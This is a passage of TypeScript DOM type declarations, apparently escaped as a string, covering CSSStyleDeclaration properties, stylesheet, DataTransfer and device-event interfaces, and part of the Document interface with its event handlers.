null;\\n    backgroundAttachment: string | null;\\n    backgroundClip: string | null;\\n    backgroundColor: string | null;\\n    backgroundImage: string | null;\\n    backgroundOrigin: string | null;\\n    backgroundPosition: string | null;\\n    backgroundPositionX: string | null;\\n    backgroundPositionY: string | null;\\n    backgroundRepeat: string | null;\\n    backgroundSize: string | null;\\n    baselineShift: string | null;\\n    border: string | null;\\n    borderBottom: string | null;\\n    borderBottomColor: string | null;\\n    borderBottomLeftRadius: string | null;\\n    borderBottomRightRadius: string | null;\\n    borderBottomStyle: string | null;\\n    borderBottomWidth: string | null;\\n    borderCollapse: string | null;\\n    borderColor: string | null;\\n    borderImage: string | null;\\n    borderImageOutset: string | null;\\n    borderImageRepeat: string | null;\\n    borderImageSlice: string | null;\\n    borderImageSource: string | null;\\n    borderImageWidth: string | null;\\n    borderLeft: string | null;\\n    borderLeftColor: string | null;\\n    borderLeftStyle: string | null;\\n    borderLeftWidth: string | null;\\n    borderRadius: string | null;\\n    borderRight: string | null;\\n    borderRightColor: string | null;\\n    borderRightStyle: string | null;\\n    borderRightWidth: string | null;\\n    borderSpacing: string | null;\\n    borderStyle: string | null;\\n    borderTop: string | null;\\n    borderTopColor: string | null;\\n    borderTopLeftRadius: string | null;\\n    borderTopRightRadius: string | null;\\n    borderTopStyle: string | null;\\n    borderTopWidth: string | null;\\n    borderWidth: string | null;\\n    bottom: string | null;\\n    boxShadow: string | null;\\n    boxSizing: string | null;\\n    breakAfter: string | null;\\n    breakBefore: string | null;\\n    breakInside: string | null;\\n    captionSide: string | null;\\n    clear: string | null;\\n    clip: string | null;\\n    clipPath: string | null;\\n    clipRule: string | null;\\n    color: string | null;\\n    colorInterpolationFilters: string | null;\\n    columnCount: any;\\n    columnFill: string | null;\\n    columnGap: any;\\n    columnRule: string | null;\\n    columnRuleColor: any;\\n    columnRuleStyle: string | null;\\n    columnRuleWidth: any;\\n    columns: string | null;\\n    columnSpan: string | null;\\n    columnWidth: any;\\n    content: string | null;\\n    counterIncrement: string | null;\\n    counterReset: string | null;\\n    cssFloat: string | null;\\n    cssText: string;\\n    cursor: string | null;\\n    direction: string | null;\\n    display: string | null;\\n    dominantBaseline: string | null;\\n    emptyCells: string | null;\\n    enableBackground: string | null;\\n    fill: string | null;\\n    fillOpacity: string | null;\\n    fillRule: string | null;\\n    filter: string | null;\\n    flex: string | null;\\n    flexBasis: string | null;\\n    flexDirection: string | null;\\n    flexFlow: string | null;\\n    flexGrow: string | null;\\n    flexShrink: string | null;\\n    flexWrap: string | null;\\n    floodColor: string | null;\\n    floodOpacity: string | null;\\n    font: string | null;\\n    fontFamily: string | null;\\n    fontFeatureSettings: string | null;\\n    fontSize: string | null;\\n    fontSizeAdjust: string | null;\\n    fontStretch: string | null;\\n    fontStyle: string | null;\\n    fontVariant: string | null;\\n    fontWeight: string | null;\\n    glyphOrientationHorizontal: string | null;\\n    glyphOrientationVertical: string | null;\\n    height: string | null;\\n    imeMode: string | null;\\n    justifyContent: string | null;\\n    kerning: string | null;\\n    layoutGrid: string | null;\\n    layoutGridChar: string | null;\\n    layoutGridLine: string | null;\\n    layoutGridMode: string | null;\\n    layoutGridType: string | null;\\n    left: string | null;\\n    readonly length: number;\\n    letterSpacing: string | null;\\n    lightingColor: string | null;\\n    lineBreak: string | null;\\n    lineHeight: string | null;\\n    listStyle: string | null;\\n    listStyleImage: string | null;\\n    listStylePosition: string | null;\\n    listStyleType: string | null;\\n    margin: string | null;\\n    marginBottom: string | null;\\n    marginLeft: string | null;\\n    marginRight: string | null;\\n    marginTop: string | null;\\n    marker: string | null;\\n    markerEnd: string | null;\\n    markerMid: string | null;\\n    markerStart: string | null;\\n    mask: string | null;\\n    maxHeight: string | null;\\n    maxWidth: string | null;\\n    minHeight: string | null;\\n    minWidth: string | null;\\n    msContentZoomChaining: string | null;\\n    msContentZooming: string | null;\\n    msContentZoomLimit: string | null;\\n    msContentZoomLimitMax: any;\\n    msContentZoomLimitMin: any;\\n    msContentZoomSnap: string | null;\\n    msContentZoomSnapPoints: string | null;\\n    msContentZoomSnapType: string | null;\\n    msFlowFrom: string | null;\\n    msFlowInto: string | null;\\n    msFontFeatureSettings: string | null;\\n    msGridColumn: any;\\n    msGridColumnAlign: string | null;\\n    msGridColumns: string | null;\\n    msGridColumnSpan: any;\\n    msGridRow: any;\\n    msGridRowAlign: string | null;\\n    msGridRows: string | null;\\n    msGridRowSpan: any;\\n    msHighContrastAdjust: string | null;\\n    msHyphenateLimitChars: string | null;\\n    msHyphenateLimitLines: any;\\n    msHyphenateLimitZone: any;\\n    msHyphens: string | null;\\n    msImeAlign: string | null;\\n    msOverflowStyle: string | null;\\n    msScrollChaining: string | null;\\n    msScrollLimit: string | null;\\n    msScrollLimitXMax: any;\\n    msScrollLimitXMin: any;\\n    msScrollLimitYMax: any;\\n    msScrollLimitYMin: any;\\n    msScrollRails: string | null;\\n    msScrollSnapPointsX: string | null;\\n    msScrollSnapPointsY: string | null;\\n    msScrollSnapType: string | null;\\n    msScrollSnapX: string | null;\\n    msScrollSnapY: string | null;\\n    msScrollTranslation: string | null;\\n    msTextCombineHorizontal: string | null;\\n    msTextSizeAdjust: any;\\n    msTouchAction: string | null;\\n    msTouchSelect: string | null;\\n    msUserSelect: string | null;\\n    msWrapFlow: string;\\n    msWrapMargin: any;\\n    msWrapThrough: string;\\n    opacity: string | null;\\n    order: string | null;\\n    orphans: string | null;\\n    outline: string | null;\\n    outlineColor: string | null;\\n    outlineOffset: string | null;\\n    outlineStyle: string | null;\\n    outlineWidth: string | null;\\n    overflow: string | null;\\n    overflowX: string | null;\\n    overflowY: string | null;\\n    padding: string | null;\\n    paddingBottom: string | null;\\n    paddingLeft: string | null;\\n    paddingRight: string | null;\\n    paddingTop: string | null;\\n    pageBreakAfter: string | null;\\n    pageBreakBefore: string | null;\\n    pageBreakInside: string | null;\\n    readonly parentRule: CSSRule;\\n    perspective: string | null;\\n    perspectiveOrigin: string | null;\\n    pointerEvents: string | null;\\n    position: string | null;\\n    quotes: string | null;\\n    right: string | null;\\n    rotate: string | null;\\n    rubyAlign: string | null;\\n    rubyOverhang: string | null;\\n    rubyPosition: string | null;\\n    scale: string | null;\\n    stopColor: string | null;\\n    stopOpacity: string | null;\\n    stroke: string | null;\\n    strokeDasharray: string | null;\\n    strokeDashoffset: string | null;\\n    strokeLinecap: string | null;\\n    strokeLinejoin: string | null;\\n    strokeMiterlimit: string | null;\\n    strokeOpacity: string | null;\\n    strokeWidth: string | null;\\n    tableLayout: string | null;\\n    textAlign: string | null;\\n    textAlignLast: string | null;\\n    textAnchor: string | null;\\n    textDecoration: string | null;\\n    textIndent: string | null;\\n    textJustify: string | null;\\n    textKashida: string | null;\\n    textKashidaSpace: string | null;\\n    textOverflow: string | null;\\n    textShadow: string | null;\\n    textTransform: string | null;\\n    textUnderlinePosition: string | null;\\n    top: string | null;\\n    touchAction: string | null;\\n    transform: string | null;\\n    transformOrigin: string | null;\\n    transformStyle: string | null;\\n    transition: string | null;\\n    transitionDelay: string | null;\\n    transitionDuration: string | null;\\n    transitionProperty: string | null;\\n    transitionTimingFunction: string | null;\\n    translate: string | null;\\n    unicodeBidi: string | null;\\n    verticalAlign: string | null;\\n    visibility: string | null;\\n    webkitAlignContent: string | null;\\n    webkitAlignItems: string | null;\\n    webkitAlignSelf: string | null;\\n    webkitAnimation: string | null;\\n    webkitAnimationDelay: string | null;\\n    webkitAnimationDirection: string | null;\\n    webkitAnimationDuration: string | null;\\n    webkitAnimationFillMode: string | null;\\n    webkitAnimationIterationCount: string | null;\\n    webkitAnimationName: string | null;\\n    webkitAnimationPlayState: string | null;\\n    webkitAnimationTimingFunction: string | null;\\n    webkitAppearance: string | null;\\n    webkitBackfaceVisibility: string | null;\\n    webkitBackgroundClip: string | null;\\n    webkitBackgroundOrigin: string | null;\\n    webkitBackgroundSize: string | null;\\n    webkitBorderBottomLeftRadius: string | null;\\n    webkitBorderBottomRightRadius: string | null;\\n    webkitBorderImage: string | null;\\n    webkitBorderRadius: string | null;\\n    webkitBorderTopLeftRadius: string | null;\\n    webkitBorderTopRightRadius: string | null;\\n    webkitBoxAlign: string | null;\\n    webkitBoxDirection: string | null;\\n    webkitBoxFlex: string | null;\\n    webkitBoxOrdinalGroup: string | null;\\n    webkitBoxOrient: string | null;\\n    webkitBoxPack: string | null;\\n    webkitBoxSizing: string | null;\\n    webkitColumnBreakAfter: string | null;\\n    webkitColumnBreakBefore: string | null;\\n    webkitColumnBreakInside: string | null;\\n    webkitColumnCount: any;\\n    webkitColumnGap: any;\\n    webkitColumnRule: string | null;\\n    webkitColumnRuleColor: any;\\n    webkitColumnRuleStyle: string | null;\\n    webkitColumnRuleWidth: any;\\n    webkitColumns: string | null;\\n    webkitColumnSpan: string | null;\\n    webkitColumnWidth: any;\\n    webkitFilter: string | null;\\n    webkitFlex: string | null;\\n    webkitFlexBasis: string | null;\\n    webkitFlexDirection: string | null;\\n    webkitFlexFlow: string | null;\\n    webkitFlexGrow: string | null;\\n    webkitFlexShrink: string | null;\\n    webkitFlexWrap: string | null;\\n    webkitJustifyContent: string | null;\\n    webkitOrder: string | null;\\n    webkitPerspective: string | null;\\n    webkitPerspectiveOrigin: string | null;\\n    webkitTapHighlightColor: string | null;\\n    webkitTextFillColor: string | null;\\n    webkitTextSizeAdjust: any;\\n    webkitTextStroke: string | null;\\n    webkitTextStrokeColor: string | null;\\n    webkitTextStrokeWidth: string | null;\\n    webkitTransform: string | null;\\n    webkitTransformOrigin: string | null;\\n    webkitTransformStyle: string | null;\\n    webkitTransition: string | null;\\n    webkitTransitionDelay: string | null;\\n    webkitTransitionDuration: string | null;\\n    webkitTransitionProperty: string | null;\\n    webkitTransitionTimingFunction: string | null;\\n    webkitUserModify: string | null;\\n    webkitUserSelect: string | null;\\n    webkitWritingMode: string | null;\\n    whiteSpace: string | null;\\n    widows: string | null;\\n    width: string | null;\\n    wordBreak: string | null;\\n    wordSpacing: string | null;\\n    wordWrap: string | null;\\n    writingMode: string | null;\\n    zIndex: string | null;\\n    zoom: string | null;\\n    resize: string | null;\\n    userSelect: string | null;\\n    getPropertyPriority(propertyName: string): string;\\n    getPropertyValue(propertyName: string): string;\\n    item(index: number): string;\\n    removeProperty(propertyName: string): string;\\n    setProperty(propertyName: string, value: string | null, priority?: string): void;\\n    [index: number]: string;\\n}\\n\\ndeclare var CSSStyleDeclaration: {\\n    prototype: CSSStyleDeclaration;\\n    new(): CSSStyleDeclaration;\\n};\\n\\ninterface CSSStyleRule extends CSSRule {\\n    readonly readOnly: boolean;\\n    selectorText: string;\\n    readonly style: CSSStyleDeclaration;\\n}\\n\\ndeclare var CSSStyleRule: {\\n    prototype: CSSStyleRule;\\n    new(): CSSStyleRule;\\n};\\n\\ninterface CSSStyleSheet extends StyleSheet {\\n    readonly cssRules: CSSRuleList;\\n    cssText: string;\\n    readonly id: string;\\n    readonly imports: StyleSheetList;\\n    readonly isAlternate: boolean;\\n    readonly isPrefAlternate: boolean;\\n    readonly ownerRule: CSSRule;\\n    readonly owningElement: Element;\\n    readonly pages: StyleSheetPageList;\\n    readonly readOnly: boolean;\\n    readonly rules: CSSRuleList;\\n    addImport(bstrURL: string, lIndex?: number): number;\\n    addPageRule(bstrSelector: string, bstrStyle: string, lIndex?: number): number;\\n    addRule(bstrSelector: string, bstrStyle?: string, lIndex?: number): number;\\n    deleteRule(index?: number): void;\\n    insertRule(rule: string, index?: number): number;\\n    removeImport(lIndex: number): void;\\n    removeRule(lIndex: number): void;\\n}\\n\\ndeclare var CSSStyleSheet: {\\n    prototype: CSSStyleSheet;\\n    new(): CSSStyleSheet;\\n};\\n\\ninterface CSSSupportsRule extends CSSConditionRule {\\n}\\n\\ndeclare var CSSSupportsRule: {\\n    prototype: CSSSupportsRule;\\n    new(): CSSSupportsRule;\\n};\\n\\ninterface CustomEvent extends Event {\\n    readonly detail: any;\\n    initCustomEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, detailArg: any): void;\\n}\\n\\ndeclare var CustomEvent: {\\n    prototype: CustomEvent;\\n    new(typeArg: string, eventInitDict?: CustomEventInit): CustomEvent;\\n};\\n\\ninterface DataCue extends TextTrackCue {\\n    data: ArrayBuffer;\\n    addEventListener<K extends keyof TextTrackCueEventMap>(type: K, listener: (this: DataCue, ev: TextTrackCueEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var DataCue: {\\n    prototype: DataCue;\\n    new(): DataCue;\\n};\\n\\ninterface DataTransfer {\\n    dropEffect: string;\\n    effectAllowed: string;\\n    readonly files: FileList;\\n    readonly items: DataTransferItemList;\\n    readonly types: string[];\\n    clearData(format?: string): boolean;\\n    getData(format: string): string;\\n    setData(format: string, data: string): boolean;\\n    setDragImage(image: Element, x: number, y: number): void;\\n}\\n\\ndeclare var DataTransfer: {\\n    prototype: DataTransfer;\\n    new(): DataTransfer;\\n};\\n\\ninterface DataTransferItem {\\n    readonly kind: string;\\n    readonly type: string;\\n    getAsFile(): File | null;\\n    getAsString(_callback: FunctionStringCallback | null): void;\\n    webkitGetAsEntry(): any;\\n}\\n\\ndeclare var DataTransferItem: {\\n    prototype: DataTransferItem;\\n    new(): DataTransferItem;\\n};\\n\\ninterface DataTransferItemList {\\n    readonly length: number;\\n    add(data: File): DataTransferItem | null;\\n    clear(): void;\\n    item(index: number): DataTransferItem;\\n    remove(index: number): void;\\n    [index: number]: DataTransferItem;\\n}\\n\\ndeclare var DataTransferItemList: {\\n    prototype: DataTransferItemList;\\n    new(): DataTransferItemList;\\n};\\n\\ninterface DeferredPermissionRequest {\\n    readonly id: number;\\n    readonly type: MSWebViewPermissionType;\\n    readonly uri: string;\\n    allow(): void;\\n    deny(): void;\\n}\\n\\ndeclare var DeferredPermissionRequest: {\\n    prototype: DeferredPermissionRequest;\\n    new(): DeferredPermissionRequest;\\n};\\n\\ninterface DelayNode extends AudioNode {\\n    readonly delayTime: AudioParam;\\n}\\n\\ndeclare var DelayNode: {\\n    prototype: DelayNode;\\n    new(): DelayNode;\\n};\\n\\ninterface DeviceAcceleration {\\n    readonly x: number | null;\\n    readonly y: number | null;\\n    readonly z: number | null;\\n}\\n\\ndeclare var DeviceAcceleration: {\\n    prototype: DeviceAcceleration;\\n    new(): DeviceAcceleration;\\n};\\n\\ninterface DeviceLightEvent extends Event {\\n    readonly value: number;\\n}\\n\\ndeclare var DeviceLightEvent: {\\n    prototype: DeviceLightEvent;\\n    new(typeArg: string, eventInitDict?: DeviceLightEventInit): DeviceLightEvent;\\n};\\n\\ninterface DeviceMotionEvent extends Event {\\n    readonly acceleration: DeviceAcceleration | null;\\n    readonly accelerationIncludingGravity: DeviceAcceleration | null;\\n    readonly interval: number | null;\\n    readonly rotationRate: DeviceRotationRate | null;\\n    initDeviceMotionEvent(type: string, bubbles: boolean, cancelable: boolean, acceleration: DeviceAccelerationDict | null, accelerationIncludingGravity: DeviceAccelerationDict | null, rotationRate: DeviceRotationRateDict | null, interval: number | null): void;\\n}\\n\\ndeclare var DeviceMotionEvent: {\\n    prototype: DeviceMotionEvent;\\n    new(typeArg: string, eventInitDict?: DeviceMotionEventInit): DeviceMotionEvent;\\n};\\n\\ninterface DeviceOrientationEvent extends Event {\\n    readonly absolute: boolean;\\n    readonly alpha: number | null;\\n    readonly beta: number | null;\\n    readonly gamma: number | null;\\n    initDeviceOrientationEvent(type: string, bubbles: boolean, cancelable: boolean, alpha: number | null, beta: number | null, gamma: number | null, absolute: boolean): void;\\n}\\n\\ndeclare var DeviceOrientationEvent: {\\n    prototype: DeviceOrientationEvent;\\n    new(typeArg: string, eventInitDict?: DeviceOrientationEventInit): DeviceOrientationEvent;\\n};\\n\\ninterface DeviceRotationRate {\\n    readonly alpha: number | null;\\n    readonly beta: number | null;\\n    readonly gamma: number | null;\\n}\\n\\ndeclare var DeviceRotationRate: {\\n    prototype: DeviceRotationRate;\\n    new(): DeviceRotationRate;\\n};\\n\\ninterface DocumentEventMap extends GlobalEventHandlersEventMap {\\n    \"abort\": UIEvent;\\n    \"activate\": UIEvent;\\n    \"beforeactivate\": UIEvent;\\n    \"beforedeactivate\": UIEvent;\\n    \"blur\": FocusEvent;\\n    \"canplay\": Event;\\n    \"canplaythrough\": Event;\\n    \"change\": Event;\\n    \"click\": MouseEvent;\\n    \"contextmenu\": PointerEvent;\\n    \"dblclick\": MouseEvent;\\n    \"deactivate\": UIEvent;\\n    \"drag\": DragEvent;\\n    \"dragend\": DragEvent;\\n    \"dragenter\": DragEvent;\\n    \"dragleave\": DragEvent;\\n    \"dragover\": DragEvent;\\n    \"dragstart\": DragEvent;\\n    \"drop\": DragEvent;\\n    \"durationchange\": Event;\\n    \"emptied\": Event;\\n    \"ended\": MediaStreamErrorEvent;\\n    \"error\": ErrorEvent;\\n    \"focus\": FocusEvent;\\n    \"fullscreenchange\": Event;\\n    \"fullscreenerror\": Event;\\n    \"input\": Event;\\n    \"invalid\": Event;\\n    \"keydown\": KeyboardEvent;\\n    \"keypress\": KeyboardEvent;\\n    \"keyup\": KeyboardEvent;\\n    \"load\": Event;\\n    \"loadeddata\": Event;\\n    \"loadedmetadata\": Event;\\n    \"loadstart\": Event;\\n    \"mousedown\": MouseEvent;\\n    \"mousemove\": MouseEvent;\\n    \"mouseout\": MouseEvent;\\n    \"mouseover\": MouseEvent;\\n    \"mouseup\": MouseEvent;\\n    \"mousewheel\": WheelEvent;\\n    \"MSContentZoom\": UIEvent;\\n    \"MSGestureChange\": MSGestureEvent;\\n    \"MSGestureDoubleTap\": MSGestureEvent;\\n    \"MSGestureEnd\": MSGestureEvent;\\n    \"MSGestureHold\": MSGestureEvent;\\n    \"MSGestureStart\": MSGestureEvent;\\n    \"MSGestureTap\": MSGestureEvent;\\n    \"MSInertiaStart\": MSGestureEvent;\\n    \"MSManipulationStateChanged\": MSManipulationEvent;\\n    \"MSPointerCancel\": MSPointerEvent;\\n    \"MSPointerDown\": MSPointerEvent;\\n    \"MSPointerEnter\": MSPointerEvent;\\n    \"MSPointerLeave\": MSPointerEvent;\\n    \"MSPointerMove\": MSPointerEvent;\\n    \"MSPointerOut\": MSPointerEvent;\\n    \"MSPointerOver\": MSPointerEvent;\\n    \"MSPointerUp\": MSPointerEvent;\\n    \"mssitemodejumplistitemremoved\": MSSiteModeEvent;\\n    \"msthumbnailclick\": MSSiteModeEvent;\\n    \"pause\": Event;\\n    \"play\": Event;\\n    \"playing\": Event;\\n    \"pointerlockchange\": Event;\\n    \"pointerlockerror\": Event;\\n    \"progress\": ProgressEvent;\\n    \"ratechange\": Event;\\n    \"readystatechange\": Event;\\n    \"reset\": Event;\\n    \"scroll\": UIEvent;\\n    \"seeked\": Event;\\n    \"seeking\": Event;\\n    \"select\": UIEvent;\\n    \"selectionchange\": Event;\\n    \"selectstart\": Event;\\n    \"stalled\": Event;\\n    \"stop\": Event;\\n    \"submit\": Event;\\n    \"suspend\": Event;\\n    \"timeupdate\": Event;\\n    \"touchcancel\": TouchEvent;\\n    \"touchend\": TouchEvent;\\n    \"touchmove\": TouchEvent;\\n    \"touchstart\": TouchEvent;\\n    \"volumechange\": Event;\\n    \"waiting\": Event;\\n    \"webkitfullscreenchange\": Event;\\n    \"webkitfullscreenerror\": Event;\\n}\\n\\ninterface Document extends Node, GlobalEventHandlers, NodeSelector, DocumentEvent, ParentNode, DocumentOrShadowRoot {\\n    /**\\n     * Gets the object that has the focus when the parent document has focus.\\n     */\\n    readonly activeElement: Element;\\n    /**\\n     * Sets or gets the color of all active links in the document.\\n     */\\n    alinkColor: string;\\n    /**\\n     * Returns a reference to the collection of elements contained by the object.\\n     */\\n    readonly all: HTMLAllCollection;\\n    /**\\n     * Retrieves a collection of all a objects that have a name and/or id property. Objects in this collection are in HTML source order.\\n     */\\n    anchors: HTMLCollectionOf<HTMLAnchorElement>;\\n    /**\\n     * Retrieves a collection of all applet objects in the document.\\n     */\\n    applets: HTMLCollectionOf<HTMLAppletElement>;\\n    /**\\n     * Deprecated. Sets or retrieves a value that indicates the background color behind the object.\\n     */\\n    bgColor: string;\\n    /**\\n     * Specifies the beginning and end of the document body.\\n     */\\n    body: HTMLElement;\\n    readonly characterSet: string;\\n    /**\\n     * Gets or sets the character set used to encode the object.\\n     */\\n    charset: string;\\n    /**\\n     * Gets a value that indicates whether standards-compliant mode is switched on for the object.\\n     */\\n    readonly compatMode: string;\\n    cookie: string;\\n    readonly currentScript: HTMLScriptElement | SVGScriptElement;\\n    readonly defaultView: Window;\\n    /**\\n     * Sets or gets a value that indicates whether the document can be edited.\\n     */\\n    designMode: string;\\n    /**\\n     * Sets or retrieves a value that indicates the reading order of the object.\\n     */\\n    dir: string;\\n    /**\\n     * Gets an object representing the document type declaration associated with the current document.\\n     */\\n    readonly doctype: DocumentType;\\n    /**\\n     * Gets a reference to the root node of the document.\\n     */\\n    documentElement: HTMLElement;\\n    /**\\n     * Sets or gets the security domain of the document.\\n     */\\n    domain: string;\\n    /**\\n     * Retrieves a collection of all embed objects in the document.\\n     */\\n    embeds: HTMLCollectionOf<HTMLEmbedElement>;\\n    /**\\n     * Sets or gets the foreground (text) color of the document.\\n     */\\n    fgColor: string;\\n    /**\\n     * Retrieves a collection, in source order, of all form objects in the document.\\n     */\\n    forms: HTMLCollectionOf<HTMLFormElement>;\\n    readonly fullscreenElement: Element | null;\\n    readonly fullscreenEnabled: boolean;\\n    readonly head: HTMLHeadElement;\\n    readonly hidden: boolean;\\n    /**\\n     * Retrieves a collection, in source order, of img objects in the document.\\n     */\\n    images: HTMLCollectionOf<HTMLImageElement>;\\n    /**\\n     * Gets the implementation object of the current document.\\n     */\\n    readonly implementation: DOMImplementation;\\n    /**\\n     * Returns the character encoding used to create the webpage that is loaded into the document object.\\n     */\\n    readonly inputEncoding: string | null;\\n    /**\\n     * Gets the date that the page was last modified, if the page supplies one.\\n     */\\n    readonly lastModified: string;\\n    /**\\n     * Sets or gets the color of the document links.\\n     */\\n    linkColor: string;\\n    /**\\n     * Retrieves a collection of all a objects that specify the href property and all area objects in the document.\\n     */\\n    links: HTMLCollectionOf<HTMLAnchorElement | HTMLAreaElement>;\\n    /**\\n     * Contains information about the current URL.\\n     */\\n    readonly location: Location;\\n    msCapsLockWarningOff: boolean;\\n    msCSSOMElementFloatMetrics: boolean;\\n    /**\\n     * Fires when the user aborts the download.\\n     * @param ev The event.\\n     */\\n    onabort: (this: Document, ev: UIEvent) => any;\\n    /**\\n     * Fires when the object is set as the active element.\\n     * @param ev The event.\\n     */\\n    onactivate: (this: Document, ev: UIEvent) => any;\\n    /**\\n     * Fires immediately before the object is set as the active element.\\n     * @param ev The event.\\n     */\\n    onbeforeactivate: (this: Document, ev: UIEvent) => any;\\n    /**\\n     * Fires immediately before the activeElement is changed from the current object to another object in the parent document.\\n     * @param ev The event.\\n     */\\n    onbeforedeactivate: (this: Document, ev: UIEvent) => any;\\n    /**\\n     * Fires when the object loses the input focus.\\n     * @param ev The focus event.\\n     */\\n    onblur: (this: Document, ev: FocusEvent) => any;\\n    /**\\n     * Occurs when playback is possible, but would require further buffering.\\n     * @param ev The event.\\n     */\\n    oncanplay: (this: Document, ev: Event) => any;\\n    oncanplaythrough: (this: Document, ev: Event) => any;\\n    /**\\n     * Fires when the contents of the object or selection have changed.\\n     * @param ev The event.\\n     */\\n    onchange: (this: Document, ev: Event) => any;\\n    /**\\n     * Fires when the user clicks the left mouse button on the object\\n     * @param ev The mouse event.\\n     */\\n    onclick: (this: Document, ev: MouseEvent) => any;\\n    /**\\n     * Fires when the user clicks the right mouse button in the client area, opening the context menu.\\n     * @param ev The mouse event.\\n     */\\n    oncontextmenu: (this: Document, ev: PointerEvent) => any;\\n    /**\\n     * Fires when the user double-clicks the object.\\n     * @param ev The mouse event.\\n     */\\n    ondblclick: (this: Document, ev: MouseEvent) => any;\\n    /**\\n     * Fires when the activeElement is changed from the current object to another object in the parent document.\\n     * @param ev The UI Event\\n     */\\n    ondeactivate: (this: Document, ev: UIEvent) => any;\\n    /**\\n     * Fires on the source object continuously during a drag operation.\\n     * @param ev The event.\\n     */\\n    ondrag: (this: Document, ev: DragEvent) => any;\\n    /**\\n     * Fires on the source object when the user releases the mouse at the close of a drag operation.\\n     * @param ev The event.\\n     */\\n    ondragend: (this: Document, ev: DragEvent) => any;\\n    /**\\n     * Fires on the target element when the user drags the object to a valid drop target.\\n     * @param ev The drag event.\\n     */\\n    ondragenter: (this: Document, ev: DragEvent) => any;\\n    /**\\n     * Fires on the target object when the user moves the mouse out of a valid drop target during a drag operation.\\n     * @param ev The drag event.\\n     */\\n    ondragleave: (this: Document, ev: DragEvent) => any;\\n    /**\\n     * Fires on the target element continuously while the user drags the object over a valid drop target.\\n     * @param ev The event.\\n     */\\n    ondragover: (this: Document, ev: DragEvent) => any;\\n    /**\\n     * Fires on the source object when the user starts to drag a text selection or selected object.\\n     * @param ev The event.\\n     */\\n    ondragstart: (this: Document, ev: DragEvent) => any;\\n    ondrop: (this: Document, ev: DragEvent) => any;\\n    /**\\n     * Occurs when the duration attribute is updated.\\n     * @param ev The event.\\n     */\\n    ondurationchange: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs when the media element is reset to its initial state.\\n     * @param ev The event.\\n     */\\n    onemptied: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs when the end of playback is reached.\\n     * @param ev The event\\n     */\\n    onended: (this: Document, ev: MediaStreamErrorEvent) => any;\\n    /**\\n     * Fires when an error occurs during object loading.\\n     * @param ev The event.\\n     */\\n    onerror: (this: Document, ev: ErrorEvent) => any;\\n    /**\\n     * Fires when the object receives focus.\\n     * @param ev The event.\\n     */\\n    onfocus: (this: Document, ev: FocusEvent) => any;\\n    onfullscreenchange: (this: Document, ev: Event) => any;\\n    onfullscreenerror: (this: Document, ev: Event) => any;\\n    oninput: (this: Document, ev: Event) => any;\\n    oninvalid: (this: Document, ev: Event) => any;\\n    /**\\n     * Fires when the user presses a key.\\n     * @param ev The keyboard event\\n     */\\n    onkeydown: (this: Document, ev: KeyboardEvent) => any;\\n    /**\\n     * Fires when the user presses an alphanumeric key.\\n     * @param ev The event.\\n     */\\n    onkeypress: (this: Document, ev: KeyboardEvent) => any;\\n    /**\\n     * Fires when the user releases a key.\\n     * @param ev The keyboard event\\n     */\\n    onkeyup: (this: Document, ev: KeyboardEvent) => any;\\n    /**\\n     * Fires immediately after the browser loads the object.\\n     * @param ev The event.\\n     */\\n    onload: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs when media data is loaded at the current playback position.\\n     * @param ev The event.\\n     */\\n    onloadeddata: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs when the duration and dimensions of the media have been determined.\\n     * @param ev The event.\\n     */\\n    onloadedmetadata: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs when Internet Explorer begins looking for media data.\\n     * @param ev The event.\\n     */\\n    onloadstart: (this: Document, ev: Event) => any;\\n    /**\\n     * Fires when the user clicks the object with either mouse button.\\n     * @param ev The mouse event.\\n     */\\n    onmousedown: (this: Document, ev: MouseEvent) => any;\\n    /**\\n     * Fires when the user moves the mouse over the object.\\n     * @param ev The mouse event.\\n     */\\n    onmousemove: (this: Document, ev: MouseEvent) => any;\\n    /**\\n     * Fires when the user moves the mouse pointer outside the boundaries of the object.\\n     * @param ev The mouse event.\\n     */\\n    onmouseout: (this: Document, ev: MouseEvent) => any;\\n    /**\\n     * Fires when the user moves the mouse pointer into the object.\\n     * @param ev The mouse event.\\n     */\\n    onmouseover: (this: Document, ev: MouseEvent) => any;\\n    /**\\n     * Fires when the user releases a mouse button while the mouse is over the object.\\n     * @param ev The mouse event.\\n     */\\n    onmouseup: (this: Document, ev: MouseEvent) => any;\\n    /**\\n     * Fires when the wheel button is rotated.\\n     * @param ev The mouse event\\n     */\\n    onmousewheel: (this: Document, ev: WheelEvent) => any;\\n    onmscontentzoom: (this: Document, ev: UIEvent) => any;\\n    onmsgesturechange: (this: Document, ev: MSGestureEvent) => any;\\n    onmsgesturedoubletap: (this: Document, ev: MSGestureEvent) => any;\\n    onmsgestureend: (this: Document, ev: MSGestureEvent) => any;\\n    onmsgesturehold: (this: Document, ev: MSGestureEvent) => any;\\n    onmsgesturestart: (this: Document, ev: MSGestureEvent) => any;\\n    onmsgesturetap: (this: Document, ev: MSGestureEvent) => any;\\n    onmsinertiastart: (this: Document, ev: MSGestureEvent) => any;\\n    onmsmanipulationstatechanged: (this: Document, ev: MSManipulationEvent) => any;\\n    onmspointercancel: (this: Document, ev: MSPointerEvent) => any;\\n    onmspointerdown: (this: Document, ev: MSPointerEvent) => any;\\n    onmspointerenter: (this: Document, ev: MSPointerEvent) => any;\\n    onmspointerleave: (this: Document, ev: MSPointerEvent) => any;\\n    onmspointermove: (this: Document, ev: MSPointerEvent) => any;\\n    onmspointerout: (this: Document, ev: MSPointerEvent) => any;\\n    onmspointerover: (this: Document, ev: MSPointerEvent) => any;\\n    onmspointerup: (this: Document, ev: MSPointerEvent) => any;\\n    /**\\n     * Occurs when an item is removed from a Jump List of a webpage running in Site Mode.\\n     * @param ev The event.\\n     */\\n    onmssitemodejumplistitemremoved: (this: Document, ev: MSSiteModeEvent) => any;\\n    /**\\n     * Occurs when a user clicks a button in a Thumbnail Toolbar of a webpage running in Site Mode.\\n     * @param ev The event.\\n     */\\n    onmsthumbnailclick: (this: Document, ev: MSSiteModeEvent) => any;\\n    /**\\n     * Occurs when playback is paused.\\n     * @param ev The event.\\n     */\\n    onpause: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs when the play method is requested.\\n     * @param ev The event.\\n     */\\n    onplay: (this: Document, ev: Event) => 